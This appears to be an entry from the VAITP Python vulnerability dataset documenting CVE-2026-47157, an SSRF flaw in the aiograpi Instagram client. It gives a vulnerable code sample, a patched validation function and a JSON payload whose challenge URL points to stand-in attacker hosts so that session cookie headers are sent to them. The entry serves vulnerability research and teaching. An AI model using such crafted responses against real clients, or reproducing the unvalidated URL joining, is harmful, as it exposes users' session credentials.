VAITP Dataset

← Back to the dataset

CVE-2026-47157

aiograpi: Unvalidated challenge paths can lead to session header leakage.

  • CVSS 6.5
  • CWE-918
  • Input Validation and Sanitization
  • Remote

aiograpi is an asynchronous Instagram API for Python. aiograpi versions before 0.9.10 accepted server-supplied signup challenge paths and used them to build request URLs before validating that the paths were relative Instagram API paths. If an attacker can influence a challenge response, for example through a local network, DNS, or proxy compromise, challenge handling requests could be sent outside the intended Instagram host with the client's existing session headers. Version 0.9.10 validates challenge paths before building URLs, solving captcha challenges, or submitting phone/SMS challenge forms.

CVSS base score
6.5
Published
2026-06-11
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
aiograpi
Fixed by upgrading
Yes

Solution

Upgrade aiograpi to version 0.9.10 or later.

Vulnerable code sample

import urllib.parse

class VulnerableClient:
    """
    A simplified representation of the aiograpi client before the fix.
    It contains a session with sensitive headers.
    """
    def __init__(self, session_id):
        self.api_url = "https://i.instagram.com/api/v1/"
        self.headers = {
            "User-Agent": "Instagram 219.0.0.12.117 Android",
            "Cookie": f"sessionid={session_id};"
        }
        print("Client initialized with sensitive session headers.")

    def _simulate_request(self, url):
        """Simulates making an HTTP request to the specified URL."""
        print(f"\n[!] Making a request to: {url}")
        print(f"[!] With sensitive headers: {self.headers}")
        if "i.instagram.com" not in url:
            print("\n[!!!] VULNERABILITY EXPLOITED [!!!]")
            print("Sensitive session headers have been sent to a non-Instagram domain.")

    def handle_challenge_response(self, challenge_json):
        """
        This function contains the vulnerable logic.
        It accepts a server-supplied path and uses it to build a request URL
        without proper validation.
        """
        challenge_path = challenge_json.get("challenge", {}).get("url")

        if not challenge_path:
            print("No challenge path found in the response.")
            return

        # VULNERABLE STEP: The `challenge_path` from the server is used to build
        # the next URL. `urllib.parse.urljoin` will discard the base URL if
        # the path is an absolute URL (e.g., starts with "//" or "http://").
        next_url = urllib.parse.urljoin(self.api_url, challenge_path)

        # The client proceeds to make a request to the potentially malicious URL,
        # sending its sensitive session headers along with it.
        self._simulate_request(next_url)


# --- Demonstration of the vulnerability ---

# 1. Initialize the client with a sensitive session ID.
client = VulnerableClient(session_id="SENSITIVE_USER_SESSION_ID_12345")

# 2. An attacker, through a Man-in-the-Middle (MitM) or DNS compromise,
#    modifies the challenge response from Instagram.
#    The 'url' field now points to an attacker-controlled domain.
attacker_modified_response = {
    "message": "challenge_required",
    "challenge": {
        "url": "//attacker-domain.com/log_credentials",
        "challenge_type": "signup_challenge"
    },
    "status": "fail"
}

# 3. The vulnerable client code processes the malicious response.
print("\nClient is processing a challenge response manipulated by an attacker...")
client.handle_challenge_response(attacker_modified_response)

Patched code sample

from urllib.parse import urlparse

def get_safe_challenge_url(challenge_path: str) -> str:
    """
    This function represents the patched logic for handling a server-supplied
    challenge path, fixing the vulnerability in CVE-2026-47157.
    """
    # The vulnerability was using a server-supplied 'challenge_path'
    # without validation. The fix is to parse the path and ensure it does
    # not contain components that would redirect the request to another host.
    parsed = urlparse(challenge_path)

    # The Fix: If a scheme (e.g., 'http:') or a netloc (e.g., 'attacker.com')
    # is present, it's an absolute or protocol-relative URL, not a simple
    # path. The request must be rejected to prevent it from being sent to an
    # unintended external server.
    if parsed.scheme or parsed.netloc:
        raise ValueError(f"Invalid or malicious challenge path detected: {challenge_path}")

    # After validation, the path is confirmed to be relative and can be safely
    # prepended with the intended host.
    return f"https://i.instagram.com{challenge_path}"

Payload

{
  "message": "challenge_required",
  "challenge": {
    "url": "https://attacker-controlled-server.com/log_headers",
    "api_path": "https://attacker-controlled-server.com/log_headers",
    "lock": false,
    "flow_render_type": 0
  },
  "status": "fail"
}

Cite this entry

@misc{vaitp:cve202647157,
  title        = {{aiograpi: Unvalidated challenge paths can lead to session header leakage.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-47157},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47157/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::